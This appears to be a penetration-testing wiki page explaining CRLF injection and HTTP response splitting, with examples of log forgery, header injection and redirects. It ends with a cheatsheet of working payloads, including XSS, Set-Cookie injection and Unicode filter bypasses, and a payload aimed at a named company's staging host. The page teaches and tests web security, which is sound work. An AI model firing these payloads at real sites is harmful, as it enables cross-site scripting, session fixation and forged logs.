# CRLF (%0D%0A) Injection

## What is CRLF? <a href="#what-is-crlf" id="what-is-crlf"></a>

When a browser sends a request to a web server, the web server answers back with a response containing both the HTTP response headers and the actual website content, i.e. the response body. The HTTP headers and the HTML response (the website content) are separated by a specific combination of special characters, namely a carriage return and a line feed. For short they are also known as CRLF.

The web server uses the CRLF to understand when new HTTP header begins and another one ends. The CRLF can also tell a web application or user that a new line begins in a file or in a text block. The CRLF characters are a standard HTTP/1.1 message, so it is used by any type of web server, including Apache, Microsoft IIS and all others.

​[​![CRLF Injection and HTTP Response Splitting Vulnerability](https://dpsvdv74uwwos.cloudfront.net/statics/img/ogimage/crlf-http-header.jpg)​](https://www.netsparker.com/blog/web-security/crlf-http-header/)​

### What is the CRLF Injection Vulnerability? <a href="#what-is-the-crlf-injection-vulnerability" id="what-is-the-crlf-injection-vulnerability"></a>

In a CRLF injection vulnerability attack the attacker inserts both the carriage return and linefeed characters into user input to trick the server, the web application or the user into thinking that an object is terminated and another one has started. As such the CRLF sequences are not malicious characters, however they can be used for malicious intend, for HTTP response splitting etc.

## CRLF injection in web applications <a href="#crlf-injection-in-web-applications" id="crlf-injection-in-web-applications"></a>

In web applications a CRLF injection can have severe impacts, depending on what the application does with single items. Impacts can range from information disclosure to code execution, a direct impact web application security vulnerability. In fact a CRLF injection attack can have very serious repercussions on a web application, even though it was never listed in the OWASP Top 10 list. For example it is also possible to manipulate log files in an admin panel as explained in the below example.

#### An example of CRLF Injection in a log file <a href="#an-example-of-crlf-injection-in-a-log-file" id="an-example-of-crlf-injection-in-a-log-file"></a>

Imagine a log file in an admin panel with the output stream pattern of IP - Time - Visited Path, such as the below:

```
123.123.123.123 - 08:15 - /index.php?page=home
```

If an attacker is able to inject the CRLF characters into the HTTP request he is able to change the output stream and fake the log entries. He can change the response from the webs application to something like the below:

```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```

The %0d and %0a are the url encoded forms of CR and LF. Therefore the log entries would look like this after the attacker inserted those characters and the application displays it:

IP - Time - Visited Path

```
123.123.123.123 - 08:15 - /index.php?page=home&127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```

Therefore by exploiting a CRLF injection vulnerability the attacker can fake entries in the log file to obfuscate his own malicious actions. The attacker is literally doing page hijacking and modifying the response. For example imagine a scenario where the attacker has the admin password and executed the restrictedaction parameter, which can only be used by an admin.

The problem is that if the administrator notices that an unknown IP used the restrictedaction parameter, will notice that something is wrong. However, since now it looks like the command was issued by the localhost (and therefore probably by someone who has access to the server, like an admin) it does not look suspicious.

The whole part of the query beginning with %0d%0a will be handled by the server as one parameter. After that there is another & with the parameter restrictedactionwhich will be parsed by the server as another parameter. Effectively this would be the same query as:

```
/index.php?page=home&restrictedaction=edit
```

### HTTP Response Splitting <a href="#http-response-splitting" id="http-response-splitting"></a>

#### Description <a href="#description" id="description"></a>

Since the header of a HTTP response and its body are separated by CRLF characters an attacker can try to inject those. A combination of CRLFCRLF will tell the browser that the header ends and the body begins. That means that he is now able to write data inside the response body where the html code is stored. This can lead to a Cross-site Scripting vulnerability.

#### An example of HTTP Response Splitting leading to XSS <a href="#an-example-of-http-response-splitting-leading-to-xss" id="an-example-of-http-response-splitting-leading-to-xss"></a>

Imagine an application that sets a custom header, for example:

The value of the header is set via a get parameter called "name". If no URL encoding is in place and the value is directly reflected inside the header it might be possible for an attacker to insert the above mentioned combination of CRLFCRLF to tell the browser that the request body begins. That way he is able to insert data such as XSS payload, for example:

The above will display an alert window in the context of the attacked domain.

#### An example of HTTP Response Splitting leading to Redirect <a href="#an-example-of-http-response-splitting-leading-to-redirect" id="an-example-of-http-response-splitting-leading-to-redirect"></a>

Browser to:

```
/%0d%0aLocation:%20http://myweb.com
```

And the server responses with the header:

```
Location: http://myweb.com
```

**Other example: (from** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**

```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```

#### In URL Path <a href="#in-url-path" id="in-url-path"></a>

You can send the payload **inside the URL path** to control the **response** from the server:

```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3Ehttp://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```

​<https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md>​

#### Description <a href="#description-1" id="description-1"></a>

By exploiting a CRLF injection an attacker can also insert HTTP headers which could be used to defeat security mechanisms such as a browser's XSS filter or the same-origin-policy. This allows the attacker to gain sensitive information like CSRF tokens. He can also set cookies which could be exploited by logging the victim in the attacker's account or by exploiting otherwise unexploitable [cross-site scripting (XSS) vulnerabilities](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/).

If an attacker is able to inject the HTTP headers that activate CORS (Cross Origin Resource Sharing), he can use javascript to access resources that are otherwise protected by SOP (Same Origin Policy) which prevents sites from different origins to access each other.

## Impacts of the CRLF injection Vulnerability <a href="#impacts-of-the-crlf-injection-vulnerability" id="impacts-of-the-crlf-injection-vulnerability"></a>

The impact of CRLF injections vary and also include all the impacts of Cross-site Scripting to information disclosure. It can also deactivate certain security restrictions like XSS Filters and the Same Origin Policy in the victim's browsers, leaving them susceptible to malicious attacks.

The best prevention technique is to not use users input directly inside response headers. If that is not possible, you should always use a function to encode the CRLF special characters. Another good web application security best practise is to update your programming language to a version that does not allow CR and LF to be injected inside functions that set HTTP headers.

### CHEATSHEET <a href="#cheatsheet" id="cheatsheet"></a>

```
1. HTTP Response Splitting• /%0D%0ASet-Cookie:mycookie=myvalue​2. CRLF chained with Open Redirect• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2 • /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2• /google.com/%2F..%0D%0AHeader-Test:test2• /%0d%0aLocation:%20http://example.com​3. CRLF Injection to XSS• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E​4. Filter Bypass• %E5%98%8A = %0A = \u560a• %E5%98%8D = %0D = \u560d• %E5%98%BE = %3E = \u563e (>)• %E5%98%BC = %3C = \u563c (<)• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```

## References <a href="#references" id="references"></a>

*
